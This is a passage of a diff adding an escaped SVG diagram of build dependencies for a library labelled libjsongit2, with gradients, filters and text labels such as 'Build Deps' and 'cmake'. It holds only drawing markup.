stdDeviation\u003d\u00220.024099401\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003clinearGradient id\u003d\u0022i\u0022 x1\u003d\u0022116.38\u0022 x2\u003d\u0022124.09\u0022 y1\u003d\u0022381.3\u0022 y2\u003d\u0022364.2\u0022 gradientTransform\u003d\u0022matrix(.79349 -.18273 .18273 .79349 -101.2 -729.82)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\n+\t\t\t\u003cstop stop-opacity\u003d\u0022.63529\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022f\u0022 x1\u003d\u0022172.12\u0022 x2\u003d\u0022160.9\u0022 y1\u003d\u0022474.17\u0022 y2\u003d\u0022442.18\u0022 gradientTransform\u003d\u0022matrix(.12338 0 0 .12338 -22.488 359.47)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#m\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022m\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#6969e1\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#1011a1\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022e\u0022 x1\u003d\u0022160.71\u0022 x2\u003d\u0022171.19\u0022 y1\u003d\u0022441.99\u0022 y2\u003d\u0022474.36\u0022 gradientTransform\u003d\u0022matrix(.12338 0 0 .12338 -22.488 359.47)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#l\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022l\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#b40e0e\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#f24c4c\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022d\u0022 x1\u003d\u0022143.68\u0022 x2\u003d\u0022173.81\u0022 y1\u003d\u0022475.48\u0022 y2\u003d\u0022480.91\u0022 gradientTransform\u003d\u0022matrix(.12338 0 0 .12338 -22.488 359.47)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#n\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022n\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#01de00\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#01a300\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022c\u0022 x1\u003d\u0022170.63\u0022 x2\u003d\u0022171\u0022 y1\u003d\u0022477.67\u0022 y2\u003d\u0022476.78\u0022 gradientTransform\u003d\u0022matrix(.12338 0 0 .12338 -22.488 359.47)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#k\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022k\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#b40e0e\u0022 stop-opacity\u003d\u0022.92975\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#99403c\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022z\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.1071 -.23352 .23352 1.1071 -161.56 -816.89)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022b\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#f96667\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#f90000\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022q\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.1071 -.23352 .23352 1.1071 -161.56 -816.89)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022a\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#ff463b\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#ed8177\u0022 offset\u003d\u0022.66691\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#ff261e\u0022 stop-opacity\u003d\u0022.99174\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022ad\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.0875 -.22938 .22938 1.0875 -164.05 -812.53)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022s\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.0875 -.22938 .22938 1.0875 -164.05 -812.53)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022ab\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.0699 -.22567 .22567 1.0699 -166.56 -808.48)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022v\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.0699 -.22567 .22567 1.0699 -166.56 -808.48)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022y\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.0483 -.22111 .22111 1.0483 -168.1 -803.05)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022u\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.0483 -.22111 .22111 1.0483 -168.1 -803.05)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022aa\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.1026 -.25393 .25393 1.1026 -166.04 -817.73)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022r\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.1026 -.25393 .25393 1.1026 -166.04 -817.73)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022ae\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.0831 -.24943 .24943 1.0831 -168.45 -813.32)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022t\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.0831 -.24943 .24943 1.0831 -168.45 -813.32)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022ac\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.0656 -.24539 .24539 1.0656 -170.88 -809.23)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022w\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.0656 -.24539 .24539 1.0656 -170.88 -809.23)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022af\u0022 x1\u003d\u0022121.62\u0022 x2\u003d\u0022125.18\u0022 y1\u003d\u0022348.24\u0022 y2\u003d\u0022348.86\u0022 gradientTransform\u003d\u0022matrix(1.044 -.24043 .24043 1.044 -172.32 -803.76)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#b\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022x\u0022 x1\u003d\u0022121.19\u0022 x2\u003d\u0022124.96\u0022 y1\u003d\u0022349.86\u0022 y2\u003d\u0022350.95\u0022 gradientTransform\u003d\u0022matrix(1.044 -.24043 .24043 1.044 -172.32 -803.76)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022 xlink:href\u003d\u0022#a\u0022/\u003e\n+\t\t\u003clinearGradient id\u003d\u0022p\u0022 x1\u003d\u0022115.76\u0022 x2\u003d\u0022136.13\u0022 y1\u003d\u0022357.52\u0022 y2\u003d\u0022370.02\u0022 gradientTransform\u003d\u0022matrix(1.0023 -.23082 .23082 1.0023 -163.94 -790.43)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#b5323f\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#ed5a61\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003clinearGradient id\u003d\u0022o\u0022 x1\u003d\u0022117.77\u0022 x2\u003d\u0022140.6\u0022 y1\u003d\u0022353.59\u0022 y2\u003d\u0022360.33\u0022 gradientTransform\u003d\u0022matrix(1.0023 -.23082 .23082 1.0023 -163.94 -790.43)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#c03a36\u0022 offset\u003d\u00220\u0022/\u003e\n+\t\t\t\u003cstop stop-color\u003d\u0022#ed393d\u0022 offset\u003d\u00221\u0022/\u003e\n+\t\t\u003c/linearGradient\u003e\n+\t\t\u003cfilter id\u003d\u0022ah\u0022 x\u003d\u0022-.070976\u0022 y\u003d\u0022-.12754\u0022 width\u003d\u00221.142\u0022 height\u003d\u00221.2551\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.93503731\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\t\u003cfilter id\u003d\u0022ai\u0022 x\u003d\u0022-.03551\u0022 y\u003d\u0022-.047942\u0022 width\u003d\u00221.071\u0022 height\u003d\u00221.0959\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00221.6304947\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\u003c/defs\u003e\n+\t\u003cmetadata\u003e\n+\t\t\u003crdf:RDF\u003e\n+\t\t\t\u003ccc:Work rdf:about\u003d\u0022\u0022\u003e\n+\t\t\t\t\u003cdc:format\u003eimage/svg+xml\u003c/dc:format\u003e\n+\t\t\t\t\u003cdc:type rdf:resource\u003d\u0022http://purl.org/dc/dcmitype/StillImage\u0022/\u003e\n+\t\t\t\t\u003cdc:title/\u003e\n+\t\t\t\u003c/cc:Work\u003e\n+\t\t\u003c/rdf:RDF\u003e\n+\t\u003c/metadata\u003e\n+\t\u003cg transform\u003d\u0022translate(73.029 478.4)\u0022\u003e\n+\t\t\u003crect transform\u003d\u0022matrix(1.2631 0 0 1.2631 -56.64 -909.02)\u0022 x\u003d\u0022-9.062\u0022 y\u003d\u0022344.82\u0022 width\u003d\u0022110.2\u0022 height\u003d\u002281.624\u0022 fill-opacity\u003d\u0022.98347\u0022 filter\u003d\u0022url(#ai)\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-69.34\u0022 y\u003d\u0022-474.55\u0022 width\u003d\u0022139.2\u0022 height\u003d\u0022103.1\u0022 fill\u003d\u0022#ececec\u0022 fill-opacity\u003d\u0022.98347\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0926\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m21.533-425.42 16.454 16.449\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m4.0842-425.7 4.7808 16.729\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-13.979-425.68-15.144 16.823\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003crect x\u003d\u0022-24.893\u0022 y\u003d\u0022-442.08\u0022 width\u003d\u002255.759\u0022 height\u003d\u002220.4\u0022 fill\u003d\u0022#fc0\u0022 fill-opacity\u003d\u0022.98347\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-opacity\u003d\u0022.94628\u0022 stroke-width\u003d\u00221.3039\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022-20.201\u0022 y\u003d\u0022-430.34\u0022 width\u003d\u002246.394\u0022 height\u003d\u00225.0961\u0022 fill\u003d\u0022#c8ab37\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 letter-spacing\u003d\u00220px\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022\u003e\n+\t\t\t\u003ctext x\u003d\u0022-6.3021426\u0022 y\u003d\u0022-426.75653\u0022 font-size\u003d\u00223.0367px\u0022 stroke-width\u003d\u0022.37958\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-6.3021431\u0022 y\u003d\u0022-426.75653\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.37958\u0022\u003elibjsongit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u002223.720867\u0022 y\u003d\u0022-389.39441\u0022 fill-opacity\u003d\u0022.8549\u0022 font-size\u003d\u00222.6736px\u0022 stroke-width\u003d\u0022.3342\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002223.720867\u0022 y\u003d\u0022-389.39441\u0022 fill\u003d\u0022#000000\u0022 fill-opacity\u003d\u0022.8549\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.3342\u0022\u003eAlready in popular distros\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022-26.792557\u0022 y\u003d\u0022-389.03116\u0022 font-size\u003d\u00222.6736px\u0022 stroke-width\u003d\u0022.3342\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-26.792557\u0022 y\u003d\u0022-389.03116\u0022\u003eAlready in popular distros\u003c/tspan\u003e\u003ctspan x\u003d\u0022-26.792557\u0022 y\u003d\u0022-385.68912\u0022\u003e...but we need latest version\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022-23.468563\u0022 y\u003d\u0022-462.81235\u0022 font-size\u003d\u00229.8408px\u0022 stroke-width\u003d\u00221.2301\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-23.468563\u0022 y\u003d\u0022-462.81235\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.2301\u0022 text-align\u003d\u0022start\u0022 text-anchor\u003d\u0022start\u0022\u003eBuild Deps\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(1.0023 -.23082 .23082 1.0023 -114.88 -801.63)\u0022 d\u003d\u0022m65.641 359.35c-0.44097 0.48507-0.88194 0.97013-1.3229 1.4552 8.3344 5.2476 16.669 10.495 25.003 15.743 2.2049-3.5278 4.4097-7.0556 6.6146-10.583-0.35278-0.57326-0.70555-1.1465-1.0583-1.7198-1.9844 1.8521-3.9688 3.7042-5.9531 5.5562-3.0456-1.822-6.0685-3.6876-9.1283-5.4824-4.0569-1.7885-8.1138-3.577-12.171-5.3656-0.66146 0.13229-1.3229 0.26459-1.9844 0.39688z\u0022 fill\u003d\u0022#121112\u0022 filter\u003d\u0022url(#ah)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m32.811-461.9 0.95657 5.535 27.024 9.0015 3.8068-11.07-0.7885-5.6195-25.484-6.68z\u0022 fill\u003d\u0022url(#o)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m32.833-461.81 26.967 8.2044 1.0392 6.2275-26.923-8.9549z\u0022 fill\u003d\u0022url(#p)\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m63.785-463.95-3.9277 10.383 0.99234 6.2383 3.7148-11.078z\u0022 fill\u003d\u0022none\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cpath d\u003d\u0022m38.196-469.5-0.14939 2.3098c0.19702 0.69356 1.2209 1.3922 2.3033 1.4849 1.4153 0.0639 2.0265-0.61911 2.4079-1.5974-0.18832-1.7481-0.28545-2.2273-0.25437-1.9238-0.078 0.96019-1.0428 1.4607-1.9008 1.5123-0.79902 0.0637-1.5305-0.44734-2.0484-1.0015-0.20548-0.22066-0.17895-0.47823-0.36579-0.7054z\u0022 fill\u003d\u0022url(#x)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m39.55-470.89c1.0956-0.27638 2.5841 0.0682 2.894 1.155 0.13734 0.45515 0.0644 0.98115-0.26718 1.3373-0.49839 0.58652-1.3252 0.81664-2.0675 0.66072-1.0006-0.24172-1.7712-0.76998-1.9363-1.7598 0.0221-0.63015 0.88478-1.2717 1.3769-1.3932z\u0022 fill\u003d\u0022url(#af)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m43.978-468.08-0.15248 2.3574c0.20119 0.70782 1.2461 1.4209 2.3509 1.5155 1.4444 0.0651 2.0683-0.63187 2.4575-1.6303-0.19221-1.7841-0.29137-2.2733-0.25963-1.9635-0.0796 0.98004-1.0643 1.4909-1.94 1.5436-0.81554 0.0651-1.5621-0.45657-2.0907-1.0221-0.20972-0.22522-0.18262-0.48812-0.37336-0.71996z\u0022 fill\u003d\u0022url(#w)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m45.36-469.49c1.1182-0.28209 2.6374 0.0696 2.9537 1.1788 0.14024 0.4645 0.0657 1.0014-0.27269 1.3648-0.50868 0.59863-1.3526 0.83353-2.1102 0.67437-1.0212-0.2467-1.8078-0.78588-1.9762-1.7961 0.0226-0.64313 0.90302-1.2979 1.4053-1.4218z\u0022 fill\u003d\u0022url(#ac)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m49.945-466.55-0.155 2.3963c0.2045 0.71948 1.2666 1.4443 2.3896 1.5404 1.4682 0.0662 2.1024-0.64228 2.498-1.6572-0.19535-1.8135-0.29613-2.3107-0.26389-1.9958-0.0809 0.99614-1.0818 1.5154-1.9719 1.5689-0.82898 0.0662-1.5878-0.46406-2.1251-1.039-0.21317-0.22893-0.18572-0.49613-0.37953-0.73182z\u0022 fill\u003d\u0022url(#t)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m51.35-467.99c1.1366-0.28672 2.6808 0.0708 3.0024 1.1982 0.14252 0.47218 0.0668 1.0179-0.27715 1.3873-0.51707 0.60847-1.3748 0.84723-2.1449 0.68544-1.0381-0.25076-1.8375-0.79879-2.0088-1.8257 0.023-0.65371 0.91789-1.3193 1.4285-1.4452z\u0022 fill\u003d\u0022url(#ae)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m56.297-464.7-0.15778 2.4395c0.208 0.73247 1.2894 1.4703 2.4326 1.5682 1.4947 0.0674 2.1403-0.65389 2.5431-1.6871-0.19888-1.8462-0.3015-2.3524-0.26864-2.0318-0.0824 1.0141-1.1014 1.5428-2.0075 1.5972-0.84391 0.0673-1.6165-0.47246-2.1634-1.0577-0.21702-0.23305-0.18892-0.50512-0.38638-0.74502z\u0022 fill\u003d\u0022url(#r)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m57.727-466.17c1.1571-0.29194 2.7292 0.072 3.0565 1.2198 0.14523 0.48066 0.068 1.0362-0.28217 1.4123-0.52638 0.61945-1.3996 0.86251-2.1836 0.69779-1.0568-0.25527-1.8707-0.8132-2.045-1.8586 0.0233-0.66554 0.93444-1.3431 1.4542-1.4714z\u0022 fill\u003d\u0022url(#aa)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m36.209-464.96-0.19203 2.3066c0.18434 0.69704 1.195 1.4145 2.2755 1.5271 1.4138 0.09 2.0376-0.58154 2.437-1.5526-0.15601-1.7512-0.24429-2.2322-0.2188-1.9282-0.0958 0.95861-1.0696 1.4412-1.9284 1.477-0.80009 0.0491-1.522-0.4755-2.0296-1.0391-0.20138-0.22444-0.17012-0.48146-0.35274-0.71206z\u0022 fill\u003d\u0022url(#u)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m37.588-466.32c1.1003-0.25718 2.5824 0.11594 2.8722 1.2082 0.12907 0.45757 0.0463 0.98215-0.29181 1.3321-0.50913 0.57719-1.3401 0.79204-2.0794 0.6224-0.99597-0.26015-1.7567-0.80255-1.9034-1.7953 0.0338-0.62964 0.90811-1.2551 1.4024-1.3675z\u0022 fill\u003d\u0022url(#y)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m41.963-463.42-0.19598 2.3542c0.18803 0.71142 1.2196 1.4436 2.3225 1.5586 1.443 0.0919 2.0796-0.59349 2.4872-1.5846-0.15922-1.7874-0.24931-2.2783-0.22331-1.9679-0.0976 0.97835-1.0916 1.471-1.9681 1.5074-0.8166 0.0501-1.5534-0.48533-2.0714-1.0606-0.20553-0.22906-0.17366-0.49136-0.36-0.72672z\u0022 fill\u003d\u0022url(#v)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m43.371-464.82c1.123-0.26241 2.6356 0.11827 2.9315 1.2332 0.13174 0.467 0.0472 1.0024-0.29786 1.3596-0.51964 0.58909-1.3677 0.80836-2.1223 0.63524-1.0165-0.2655-1.7929-0.81909-1.9427-1.8323 0.0345-0.64263 0.92685-1.281 1.4314-1.3957z\u0022 fill\u003d\u0022url(#ab)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m47.901-461.79-0.19923 2.393c0.19125 0.72311 1.2397 1.4674 2.3607 1.5843 1.4668 0.0933 2.1138-0.60338 2.5282-1.6107-0.16182-1.8168-0.2534-2.3158-0.22697-2.0004-0.0994 0.99447-1.1096 1.4952-2.0005 1.5322-0.83002 0.051-1.579-0.4933-2.1055-1.078-0.2089-0.23284-0.1764-0.49948-0.36594-0.7387z\u0022 fill\u003d\u0022url(#s)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m49.332-463.2c1.1415-0.26667 2.679 0.12024 2.9797 1.2534 0.1339 0.4747 0.048 1.0189-0.30274 1.382-0.52822 0.59883-1.3902 0.82169-2.1572 0.64571-1.0333-0.26989-1.8225-0.8326-1.9747-1.8625 0.035-0.65318 0.94208-1.3021 1.4549-1.4186z\u0022 fill\u003d\u0022url(#ad)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m54.218-459.83-0.20279 2.4362c0.19448 0.7362 1.2621 1.4939 2.4033 1.6129 1.4932 0.0951 2.152-0.61431 2.5738-1.6398-0.16476-1.8496-0.258-2.3576-0.23107-2.0364-0.10108 1.0124-1.1296 1.5222-2.0366 1.5599-0.84503 0.0518-1.6075-0.50222-2.1435-1.0975-0.21269-0.23703-0.17975-0.50849-0.37255-0.75202z\u0022 fill\u003d\u0022url(#q)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m55.675-461.26c1.1621-0.2714 2.7274 0.12245 3.0335 1.2761 0.13625 0.48328 0.0489 1.0373-0.3082 1.4069-0.53774 0.6096-1.4153 0.83651-2.1961 0.65735-1.0519-0.27475-1.8553-0.84761-2.0103-1.8961 0.0356-0.66498 0.9591-1.3256 1.4812-1.4442z\u0022 fill\u003d\u0022url(#z)\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg transform\u003d\u0022matrix(.87389 0 0 .87389 -40.216 -824.75)\u0022\u003e\n+\t\t\t\u003ccircle cx\u003d\u002279.782\u0022 cy\u003d\u0022438.91\u0022 r\u003d\u00224.9835\u0022 fill\u003d\u0022#fff6d5\u0022 fill-opacity\u003d\u0022.97521\u0022 stroke\u003d\u0022#000\u0022 stroke-linejoin\u003d\u0022round\u0022 stroke-width\u003d\u0022.35389\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u002279.842163\u0022 y\u003d\u0022442.10245\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00221.8486px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.23107\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002279.842163\u0022 y\u003d\u0022442.10245\u0022 stroke-width\u003d\u0022.23107\u0022\u003ecmake\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cg transform\u003d\u0022matrix(.87335 0 0 .87335 82.375 74.143)\u0022\u003e\n+\t\t\t\t\u003cg\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.9592 412.95-2.979 6.0355 3.2085-2.7006z\u0022 fill\u003d\u0022url(#f)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.9606 412.96 2.9776 6.0245-2.6573-1.1026z\u0022 fill\u003d\u0022url(#e)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-3.9762 417.33 4.0341 1.6768-6.0192 8e-3z\u0022 fill\u003d\u0022url(#d)\u0022/\u003e\n+\t\t\t\t\t\u003cpath d\u003d\u0022m-2.6494 417.88 2.6605 1.095-0.065289-0.13873-2.5919-1.0753z\u0022 fill\u003d\u0022url(#c)\u0022/\u003e\n+\t\t\t\t\u003c/g\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-2.9675 412.94-2.9706 6.0717h5.9738z\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.05737\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-2.649 